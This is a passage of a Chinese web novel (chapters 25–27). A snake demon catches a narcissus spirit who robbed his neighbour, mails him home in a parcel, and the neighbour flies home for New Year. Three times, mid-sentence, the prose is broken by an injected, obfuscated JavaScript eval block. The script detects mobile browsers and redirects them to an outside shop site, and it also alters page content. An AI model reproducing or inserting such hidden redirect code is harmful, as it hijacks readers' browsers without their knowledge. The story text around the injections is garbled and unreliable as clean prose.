“你你你就是那个蛇妖?!”劫匪面如死灰地问道,毫无预兆地涌出了眼泪,转眼痛哭流涕,声泪俱下,“蛇妖大人我错了!小妖有眼不识泰山请你放过我吧!我以前从没干过坏事,这不过年了吗,实在攒不到回家过年的钱,今天第一次抢劫,我之前真的没有抢劫过,念在我是初犯,求求你饶了我吧!不要吃我我真的不好吃的,我是植物成的妖,没有肉味……” 劫匪兄看起来是个十七八岁的少年,一张漂亮的脸蛋即使哭得涕泪横流也无损五官的精致,一大段话说得流利异常,完全不见之前磕磕绊绊的模样。 二妖一人面面相觑。 听这个不知名妖怪说话的语气,好像对楚柯很了解。 “你……认识我?”楚柯从他话里听出了一点异样的苗头,可他确定自己从来没有见过这个妖怪,妖怪化形之后,长相是很难改变的,他不可能以前见过后还对他毫无印象。 劫匪止住了一点哭声,小心翼翼地抬起头,吸了吸鼻涕问道:“你是不是蛇妖?姓楚?家住陆北亭小区?” 竟然还真的认识他。 楚柯抬头看了徐安容一眼,发现她也好奇地盯着他,视线在劫匪兄和他之间来回扫射。 他拧着眉点头:“我是。” 劫匪立刻又哭了,泪如雨下,一把鼻涕一把泪地忏悔:“呜呜呜我错了,我真的错了,蛇妖大人你不要吃我,就放过我这一次吧……” 徐安容一脸懵懂地站在一旁,不明白事态为什么会发展成这样。楚柯难道在妖怪间还有什么特殊地位吗? 苗苗若有所思:“我有听其他妖说过,老蛇是我们这一带的地头蛇。” 真·地头蛇。 徐安容感觉内心万马奔腾而过,这句耳熟能详的俗语仿佛瞬间有了具体代表。 楚柯被小妖怪哭得头疼,勒令他闭嘴:“安静一点,不然我现在就送你去警局。还有……”他打量了一下哭得鼻子通红的小妖,吩咐道,“先变回原形吧。” 劫匪兄抽抽搭搭缩小了身形,很快地上出现了一个大蒜似的小妖精,小叶子中间开着一朵淡黄色香气幽幽的小花,圆滚滚的白色茎块生出了火柴人般的四肢,小黑豆眼不安地乱转,一会儿看看楚柯一会儿又瞟着地。 徐安容看着他忽然心有所悟,戳了戳苗苗的小叶子提醒她:“苗苗快看,你兄弟诶!” 25. 25 霍水?祸水! 一个是葱妖,一个是蒜精,可不就是亲兄妹么! 徐安容觉得自己的逻辑简直完美到无懈可击,使劲戳了戳小葱妖,她却毫无反应,低头一看,苗苗瘪了瘪嘴“哇”地一声哭出来。 “我和这种大蒜头才不是兄妹呢!” 她这边哭音刚起,另一边楚柯同时开口:“水仙花妖?” 两道声音几乎不分先后,话音落下,围观听众一片尴尬。 徐安容就是这个唯一的围观听众。她觉得自己实在很冤枉,你说这水仙妖长了稀稀拉拉几根小叶子,底下圆滚滚的白色茎块看着不是和蒜头一模一样么!种类差得这么远,她还要给他们认亲,难怪苗苗不高兴。 身为议论的当事人,小水仙更是扎心。打小在满山植物间走过,大家都以为他是蒜头,又白白胖胖光秃秃的,任他说破了嘴皮子都没人信他是水仙,好不容易挨到长出了叶片,终于开了一朵花了,却被人当成大蒜头嫌弃,心里跟嚼了黄连一样,苦涩涩的。鼻子一抽,嘴一撇,眼泪再次啪嗒啪嗒掉了下来。 “我是水仙花妖!和葱妖才没什么关系!”他忿忿喊道。 “你才葱妖呢!你个大蒜头!你全家都是大蒜头!”苗苗愤怒地喊了回去。 “呸!你才是大蒜头!” “你是!” 两个小妖怪以一种极其幼稚的、菜鸡互啄式的姿态你来我往地嘲讽着,看上去即将展开一场激烈辩论。 楚柯觉得自己脑壳疼。 他转头看向徐安容,后者似乎发现了矛盾出在自己的那句话上,正手足无措地向他投来求助的目光。当然,她看起来还是没有发现自己的那句话到底有什么问题。 这条小巷虽然僻静,大晚上的也没什么人会经过,但毕竟在室外,随时有被人发现的可能。楚柯想了想,插/入两个小妖怪间的斗争,一把抓起小水仙塞进自己口袋,示意徐安容把苗苗也放回去。 “有事先回家再说。” 徐安容松了口气,把叫喊着“容容姐我真的不是葱妖”的苗苗揣进口袋,跟着楚柯回了家。 还是大黄开的门,英俊的哈士奇现在很沉迷于管家的角色,徐安容进门的时候,他甚至还行了一个绅士礼。徐安容笑了笑,顺手揉了揉他的狗耳朵。大黄舒服地哼哼两声,忽然神色一变,警惕地看着跟在徐安容身后进门的楚柯。 “楚老大,你是不是带了什么东西回来?” “嗯,遇上了一个小妖怪。”楚柯点点头,从口袋里掏出小水仙随手丢到沙发上,胖乎乎的小白球颠了几下,晕乎乎地翻出小肚皮,四仰八叉地倒在沙发上,头上那朵小黄花弯了弯,和其余几片叶子一起,蔫蔫地耷拉着。 “喏,就是他。” 楚柯指了指,然后走进了书房。大黄迈着猫步走到沙发边,轻轻嗅了嗅,忽然甩头打了个喷嚏。 “阿嚏——怎么一股劣质香水味?这么刺鼻,这是水仙?” 可怜小水仙刚从眩晕中清醒一点,猝不及防就被大黄的口水糊了一身。他悲愤地用小叶子抹了一把脸,跳起来,插着腰,像个茶壶似的凶巴巴吼道:“你才劣质香水味呢!我这是水仙花的幽香!” 大黄一爪子把他摁了下去,扭头跟徐安容说话:“容容小姐,你们怎么把这种小妖怪带了回来?” 徐安容正把鼓着脸生闷气的苗苗装进她常待的小花盆,闻言随口就答道:“是楚柯决定把他带回来的,他之前抢劫我的包呢,被楚柯当场逮住了。” “哦?抢劫?”大黄若有所思地重复了一遍,伸出爪子把小水仙来回搓了搓。 之前还凶巴巴的语气立刻变了一个调。 “犬妖大大饶命啊!我错了是我一时鬼迷心窍做了坏事我以后再也不敢了啊啊啊不要再搓了——啊!救命啊!放过我吧——” 叫声凄惨,徐安容听得有点同情,捧着苗苗所在的小花盆走到沙发边,准备想替小水仙说两句话,书房的门又被楚柯风风火火地打开了。 蛇妖抓着笔记本和签字笔大步走过来,将小水仙拎到茶几上,自己叉开腿大咧咧往沙发上一靠,翻开笔记本,取下笔盖,一副审问犯人的架势。 “现在不用担心有人打扰了,来吧,把你自己的事详细说一说。” 徐安容看着小水仙局促不安的样子,默默地在楚柯边上坐了下来,苗苗的小花盆被她摆在了腿上,大黄跳上沙发,往她这边挤了挤。三妖一人坐在一张沙发上,目光一致地盯着小水仙,直把他看得冷汗涔涔。 “说吧,叫什么名字。”楚柯沉声道。 “霍、霍霍……霍水。”小葱妖回答道。 楚柯眉一皱:“你名字这么长?” “不、不是!”小水仙被他看得有点抖,猛地站直,双脚并拢,抬头挺胸回答道:“是霍水!” “哦。”楚柯垂下眼,记在笔记本上。 徐安容在边上听得纳闷:“你这名字谁起的,谐音的寓意不大好吧?” 还是妖怪没这个讲究? 小水仙稍微有点不好意思,小叶子挠了一下头:“不是的,我们水仙一族都是改姓不改名,所有族人女孩子都叫水仙,男孩子叫水,姓是百家姓来排的,排到我正好是霍。” 原来妖怪里还有这么奇特的习俗。徐安容小小的惊叹了一下,想着小水仙人形时的那张雌雄莫辩的脸,点了点头:“那这名字还挺衬你的。” 楚柯有点不满他们聊得这么旁若无人,轻咳一声引回了小水仙的注意力。 “年龄职业住址生活经历,统统报上来。” 小水仙不敢反抗,如实回答道:“今年十八,才刚成年,这两天刚找了一个送外卖的活……” 从他絮絮叨叨的交代中,徐安容总结出了重点,这只水仙花妖年龄还很小,以前一直生活在大山里,才进入人类世界没多久,日子过得非常坎坷。刚进城时就被小偷摸走了钱包,报了警,好不容易追回了身份证件,又在寻找工作时被骗入了传销窝点,经过了一段时间的蛰伏后终于趁机跑了出来,没想到却遇上了一群皮条客,说要介绍他去当模特结果转头就把他介绍给了几个癖好特殊的大老板,差一点被骗入魔窟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820032|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这一回逃跑出来后,他稍微学乖了一点,找了个普通的送外卖的工作,但因为不熟悉路况,连续几次超过送餐时间,被客人投诉,最终于今天傍晚被老板解雇。 总之,一个字就能概括小水仙进入人类世界后的生活。 惨。 “真是太惨了……”徐安容、苗苗和大黄一起摇头叹息。 这么多灾多难、惊心动魄的经历拿出去,不论是谁都会觉得实在太惨了,小水仙花妖的人生仿佛被刷了一层又一层的厄运诅咒,闻者伤心,见者流泪,连和他因为种族问题针锋相对的苗苗都对他投去了同情的目光。 在场只有蛇妖大人不受丝毫影响,依旧冷静地审问道:“这就是你决定抢劫的理由?” 霍水羞愧地低下头,手指对手指,声音瞬间低了好几个度:“这不是马上要过年了嘛,我实在没钱买回家的票,最近看新闻有很多人打劫,觉得这样来钱快,就想试一试……我真的只是想要攒到回家的票!今天是第一次,以前从没有做过坏事,我还特意留下了标记,等我有钱了会再还回去的……” “缺钱就能学人抢劫了吗?”楚柯冷着脸反问道。 霍水被他看得心虚,讷讷地戳着手指。 “身份证件有没有?” “有有有。”水仙花妖连连点头,“就在我的衣服上衣口袋里。” 他变回原形后留下来的衣服被徐安容一起带了回来,她翻了翻,果然从上衣口袋中找到了一张身份证。 她递给楚柯,后者看了几眼,收起来,掏出手机拨了个电话,等候接通的时间里他边往阳台走边回头对霍水说道:“我要确认一下你的身份。” 徐安容有些好奇楚柯是给谁打的电话,明明蛇妖一直宅在家,交际却好像很广?还有苗苗口中的地头蛇…… 她心中好奇得厉害,却没有表现出来,牢牢地坐在沙发上盯着小水仙的一举一动。 不过五分钟的时间,楚柯就挂断电话走了回来。 “我确认你的身份了,你所说的都属实。”他看着霍水偷偷摸摸自以为不会被发现地抬起头盯着他的样子,眉头一挑,“所以……” 霍水:“……” 紧张地搓手。 “我答应了一个朋友送你回家,所以这次的事情就算了。”他说着看向徐安容,语气似乎对这样的结果也不太满意,“等下次再找他出气怎么样?” 东西都没丢,小水仙妖也不是普通人类,又有楚柯朋友这层关系在,她也不好意思再揪着不放,而且霍水真的……惨出了一定境界。徐安容想了想,点头答应了。 “不过你真的要送他回家?” 话一问出口,不仅小水仙感兴趣,苗苗和大黄也都转过脸来看着他。 楚柯没什么表情地点了下头。 “那你要怎么送?给他买张机票回去吗?” 楚柯意味深长地看了眼巴巴期望着的小水仙,回答道:“明天你就知道了。” 第二天,徐安容看见楚柯把小水仙塞进了快递盒子里,收件地址写着:昆仑山。 26. 26 小别 大约是屈从于楚柯身为地头蛇的淫/威,霍水同学对于自己被当成快递寄回家这件事并没有任何不满,甚至在楚柯提出这个想法的时候,他还恍然大悟地一手握拳捶了下掌心。 “对哦,还可以这样!” 然后顺利地被装成了包裹。 前来收件的快递小哥检查了一下,霍水乖乖地变回了一颗普通的水仙,躺在盒子里一动不动,快递小哥看了几眼没看出异样,还贴心地表示要不要装点土,免得大冷天的还没寄到目的地就枯萎了,楚柯轻描淡写地摇了摇头。 “死不了的。” 快递小哥边把快递装上车,边笑呵呵道:“那俺就走了啊,恁运气可好,等到明天,俺们公司就放假咧,恁就是想寄快递也寄不了嘞。” 徐安容目送他骑着小电驴远去,小声问道:“这样不要紧吗?” 楚柯还是那句话:“死不了的。” “但是……我总觉得这样不好吧。”徐安容犹豫道。 虽然知道霍水是妖怪,不可能憋死在快递盒子里,但他也是活生生的一条生命,人形时还是个漂亮少年,如果不是事先知道他的身份,怎么都看不出他是非人类,一想到把他装在快递箱里就觉得特别别扭。 “我只是答应把他送回去,又没答应怎么送,难道还想我给他买头等舱机票吗?想得美,花这几十块我都觉得冤枉了。”楚柯语气淡淡道,说完又再次提醒徐安容,“别被那小妖怪外表欺骗了,他昨晚可是抢了你包的,那是犯罪。” 徐安容听出他语气中的关怀之意,知道他这么整治小水仙也算是给自己解了一下恨,对霍水的那丁点同情立刻抛到了脑后,心情愉悦地眯了眯眼:“嗯,我没忘。快递空运过去,那也算乘飞机了。” 楚柯对她的理解很满意,见她笑眯眯的样子心情也跟着愉悦了一些:“我有个认识的……朋友,经常各地穷游,有时候为了省路费就会把自己打包寄到目的地,既便宜又方便,不会出事的。按照这家物流的速度,他回去应该还能赶上过年吧。” 徐安容踏上一级台阶,思绪也飘飞开来:“嗯……几十块钱的快递费也挺贵的,其实你可以选择货到/付款。” 楚柯认真地思索了一下,点头:“有道理,下次试试。” 正巧来给他们开门的大黄:“……” 居然还在考虑下一次吗? “行,那我也回家了。”徐安容跟他们俩挥了挥手,钥匙刚插/进锁孔里,她忽然想起来,昨晚大家光顾着感慨小水仙的悲惨妖生了,她都忘了问苗苗说自己不是葱妖是怎么回事,想到这里她又扭过头叫住了楚柯。 “楚柯,等一等。” 楚柯疑惑地转过头,刚踏进家门的一只脚又退了出来。 “有事?” 徐安容已经习惯了他的说话方式,径直说明自己的问题:“昨天晚上苗苗说她不是葱妖,所以……”她稍稍停顿了一会儿,“苗苗是什么妖?” 她认识苗苗以来,一直以为苗苗是葱妖,但昨天夜里的事让她发现自己的认知好像有点错误。 “……” 楚柯沉默。 徐安容眨了眨眼。 依然保持沉默。 “楚柯?”她喊了一声。 “没事,你就当成是葱妖好了,我一时也想不起来她是什么种类了。”楚柯面无表情道。 下一秒,屋内响起了一个尖利的女高音:“啊啊啊啊混蛋老蛇人家是葱兰啦!” 苗苗听到他们俩的讨论,哒哒哒地从屋里面跑出来,小叶子张牙舞爪地招展着,两手叉腰,气势汹汹。 “葱兰葱兰葱兰!我是兰花啦!” 葱兰是兰花吗? 徐安容对植物没什么了解,但是听这名字感觉不太像兰花,摸出手机顺手百度了一下——哦哦,是石蒜科啊。 她斜眼望着还在地上气得跳脚的苗苗,内心忽然生出了同情:这孩子不会到现在都不知道自己其实不算兰花吧?还是说,她知道但是在自欺欺妖? 蛇妖没有那么丰富的同情心,把揪着他裤脚使劲糟践,还将眼泪鼻涕都抹在上面的苗苗拎起来丢到徐安容怀里,拍了拍手轻松道:“一样,反正名字听起来也差不多。” 说完,举步往屋里走,徐安容关了自家的大门,抱着委屈的小葱妖也跟着走了进去。 哦,叫小葱妖顺口惯了,一时改不回来了。 苗苗拉着她的手指,严肃而诚恳地说道:“容容姐,你相信我,我以后肯定能开花的。” 徐安容捏捏她的小叶子,用哄小孩子的温柔语气说道:“嗯,苗苗以后肯定能开花的,就算是葱也能开花呢。” “……容容姐你可以不加后面那句的。” …… 小水仙事件过后的第三天,徐安容拎着大包小包登上了回家的飞机。春节已经近在眼前,连快递公司都陆续开始放假了,她也早早买好了回家的机票,只等公司一放假,拎上行李归心似箭。 听着广播里的提示音,她发完最后一条信息,在轰鸣声中关机,然后戴上了眼罩。飞机逐渐上升,滑过京市上空,朝着一千多公里外的城市飞去。 远在陆北亭小区中的苗苗看着她发来的消息,扒着阳台重重地叹了口气:“容容姐真回家了啊。” 大黄在她边上用同样的姿势眺望着隔壁空无一人的阳台,也叹气:“毕竟要过年了。” 人类,讲究的就是一个团圆嘛。 楚柯在屋里按着遥控器,把屏幕按得一会亮一会黑,整个妖以一种非常懒散的姿态瘫在沙发上,一直把所有频道调了一遍,才按回本地的新闻台,新闻里女主持正用温婉的嗓音报道着近日的抢劫案的最新进程。 “……根据有关知情人士提供的线索,警方目前已侦破此案,逮捕嫌犯三人……更多详情稍后为您播出……” 小水仙花妖为了争取被宽宏处理,将自己打听来的这几个嫌犯的消息一股脑告诉了楚柯。虽然他到最后也没能学会这几人的作案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820033|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手法,但是打听到的消息却帮了警察不少忙。 手机屏幕亮起,楚柯低头看了眼备注——东方侦探所,漫不经心地接起:“喂?” 东方北贱兮兮的笑声立刻传了过来:“楚老大,楚大哥,那啥,多谢你的消息哈,我师兄这些天可忙得要死,为这事还专程来感谢我了。” 楚柯不能理解东方北身为妖怪是怎么混进人类学校顺利拿到了毕业证并且还和进入了警局的师兄打好交情的,但这并不妨碍他因为心情不好而不想搭理这家伙。 “就算没有我,以你消息的灵通程度过两天也能查到的。” 他说了两句就想挂电话,东方北赶紧拦住了他:“诶别急别急,等等,我就再问一个问题。那小水仙你给他送回家没有?他家里有个长辈是我这的大客户,昆仑山还有不少妖跟我的关系也不错,我答应了他们的……” “送回去了,正在路上。”楚柯回答道,说完不等对面再啰嗦,干脆利落地挂断了电话。 东方北的侦探事务所是他消息的主要来源之一,对方跟他的交情还不错,如果是平时,楚柯还愿意多说两句,但今天他也不知道自己是怎么了,心情不好,什么事也不想干,偏偏骚扰的电话一个接一个。 “先生您好,请问您想买房吗……” 毫不留情地掐掉。 “先生,保险有需要吗?” “先生您有考虑如何理财吗?我们的产品……” “先生……” 挂断最后一个骚扰电话,蛇妖大人的脸彻底黑了下去,紧接着,苗苗唉声叹气的声音从阳台清晰地传来——“容容姐不在的第一天,想她。” 他关掉电视,在沙发上翻了个身,毛毯盖过脑袋,苗苗的声音却好像还在他脑海里回荡。 哼,他才不想呢。 蛇妖哼了一声,变回原形,把自己盘成了一块蚊香。 接连几天,苗苗情绪都很低落。 大黄搓着游戏手柄也是兴致缺缺,打了几局就跑到阳台去堆雪人了。 京市一场鹅毛大雪,让整个城市都银装素裹,也让隔壁无人居住的阳台更显得冷清。 大黄默默地看了一会儿,一爪子推倒自己堆的小雪人,甩了甩沾上雪花的毛发,掉头往屋里走。屋里小葱妖抱着泡面桶正在抗议。 “我不想吃泡面!拒绝!强烈拒绝!” “以前能吃,现在怎么就不能吃了?要是不喜欢,那就别吃了。”蛇妖冷着脸拿走了泡面。 反正妖怪很难会饿死,想吃什么东西多半是馋的慌,而不是真靠食物来补充营养。 “我想容容姐!我想念红烧肉糖醋排骨可乐鸡翅……”苗苗碎碎念着,楚柯听得心烦,十分不耐地打断她,“苗翠花,安静点。” 以往他这么连名带姓地喊,苗苗基本就不再闹腾了,这一次她却没有听话。 “老蛇,我们去找容容姐吧!”小葱妖忽然开口。 话一出口,在场的另外两妖都愣住了。 27. 27 一次说走就走的旅行 “不可能!” 楚柯率先回过神拒绝了这个提议。 苗苗:“为啥?” 楚柯不说话,将泡面原模原样地垒回壁橱里,回到沙发上躺下,拿着手机点开了一局消消乐。在苗苗再次的提问声中,他才慢悠悠开口:“不为什么。” 大黄大约能猜到一点他的想法,而且苗苗的提议听起来实在不靠谱,小葱妖想一出是一出的情况不是没发生过,委婉地替楚柯解释:“等过完年容容小姐就会回来的。” “那也要将近半个月。”苗苗蹦上沙发,拽着楚柯的衣袖撒泼,“大蛇哥大蛇哥大蛇哥……” 刚才只是灵光一现,现在仔细想想这主意还真不错。 “南方比北方暖和啊,当地还有各种不同的特色小吃,容容姐和我说过他们那过年的时候还有集市,你看我们在京市也不可能有亲戚,春节的时候也一直待在家里从来不出去旅游,正好趁着这次机会出去玩玩……” 小葱妖舌灿莲花,说得比唱得都好听,但楚柯依然不为所动。 “就几天见不了面而已,你还特意跑过去找她,不觉得荒谬么?这事不可能的,死心吧。” “你认真的?” “废话。” 苗苗二话不说,跳到大黄背上:“大黄,我们走!” 大黄默默趴下:“那个啥……我就是围观群众,请不要理我……” “哎呀!”苗苗忿忿地揪他狗耳朵,“我要去找容容姐姐姐姐姐——我要出门旅游游游游游——” 大黄委屈:“楚老大不让你去你揪我耳朵干啥?” “因为我不开心心心心心——”苗苗凑到他耳朵边上大声道,还特地自制回音效果。边喊边偷偷瞄楚柯,后者因为消消乐没有通关而皱起了眉,一副专心致志打游戏两耳不闻窗外事的模样。 一计不成,又施一计。 苗苗眼珠一转,两眼间已经染上了盈盈水雾。 这套路叫水淹金山寺,后续是法海镇蛇妖,身为这个家里撒起泼来最无赖的存在,她运用起这一套来可以说得上熟能生巧。这边眼中水雾才刚凝聚,楚柯也是早有防备,眉头一挑,单手抓着她的小叶子把她拎起来。 “哭也没用。” 欲滴未滴的两滴眼泪卡在眼眶间打着旋,苗苗下意识吸吸鼻子,把眼泪收了回去,忽然一顿,猛地挣扎起来,从他手里挣脱出去,飚着泪往书房跑。 “混蛋老蛇!我也要把自己寄到容容姐家!” 书房里一阵翻箱倒柜的声音,大黄跟过去从门缝里瞅了一眼,小葱妖不知从哪个抽屉里翻出了一个塑料保温饭盒,正要往里跳——他看了一眼,赶紧走回楚柯身边。 “楚老大,你不拦着她点?她正把自己装盒打包呢。” 楚柯淡定:“快递都关门了,她上哪寄件去?” 大黄想想也是:“那你就真看着她闹腾?其实去容容小姐他们城市玩玩也挺好的,反正在这也没事做……”他说着,余光忽然瞥见楚柯的手机界面不太对,之前一直以为某蛇在玩消消乐,他也没留意,现在再一看,这分明不是消消乐的游戏界面。 他凑近了一点,屏幕上正好跳出一条消息。 【抢票成功!正在为您出票中……】 …… “阿嚏——” 徐安容裹紧羽绒服又打了个喷嚏。 这是今天的第十八个喷嚏,自从下飞机的那一刻起,她就开始接二连三地打喷嚏,回到家也没断过,把徐母看得忧心得不行。 “是不是气候差异太大,一回来就感冒了?这不行,等会儿我和你去医院看看。你说你,这么冷的天,连条秋裤都不穿,真是,你不感冒谁感冒……”关切的话语念叨着就变味了,陈秋元戳着自己不省心的女儿的额头,使劲数落她,“在外面肯定也是这样,天凉都不知道加衣服,饭也不好好吃,肯定还老熬夜。还说要带男朋友回来给我看,啊?人呢?就会嘴上吹一吹,你哦,什么时候能长大一点。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16820034|191015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐安容扭着躲开老妈的手指,求饶道:“没有,真没有,我没感冒,这肯定有人想我呢。我在京市天天早睡早起,饮食规律,衣服从来不少穿,过得好着呢。” “至于我男朋友嘛,那可太多了,一个加强连都塞不下,带回来家里都嫌挤。”徐安容抱着她的腰,讨好地撒娇,“妈,像您这么好的妈妈真是太少了……” “谁会想你啊。”徐母嫌弃。 “总有的嘛,每个人想我一次,我不就得打一次喷嚏。”徐安容贴着她的手蹭蹭。自从和苗苗待久了,小妖精撒娇的功力她也学会了两三分。 “真没男朋友?” “真没有。” “没骗我?” 徐安容把头摇得和拨浪鼓一样:“没有没有,绝对没有,上次我哄您开心呢。” 徐母没好气地瞪她一眼:“我就知道。” 说着一抖床上的棉花厚被,穿着羽绒服几乎把自己裹成球的徐安容就被她从被子底下抖了出来。旁边热水袋、遥控器、手机、笔记本电脑和鼠标一样不缺,甚至隐约还能找到些许饼干残渣。 徐母叹了口气,觉得自己真是操碎了心。 “你属仓鼠的啊,大冬天的给自己屯粮准备冬眠呢?回来了也不和朋友出门逛逛街,天天就窝床上,是不是准备孵小鸡啊?快起来,收拾一下,和你去医院看完病,晚上我们还要去你小舅舅家吃年夜饭。” 她边说边去赶徐安容下床,顺带伸手在她腰间摸了一把,忍不住啧了一声:“瞧你回来没两天,这腰就粗的……” 徐安容先前就被她数落得有点愧疚,听到这里更是热泪盈眶。 “妈!别说了,我明天就天天出门,不到天黑绝不回家,三天瘦五斤,五天瘦十斤——阿嚏——” 她捂着口鼻,声音闷闷道:“妈,去医院吧,我可能真感冒了……” 就在她这句话出口的同时,一架来自京市的飞机悄然降落在了这座南方城市的机场。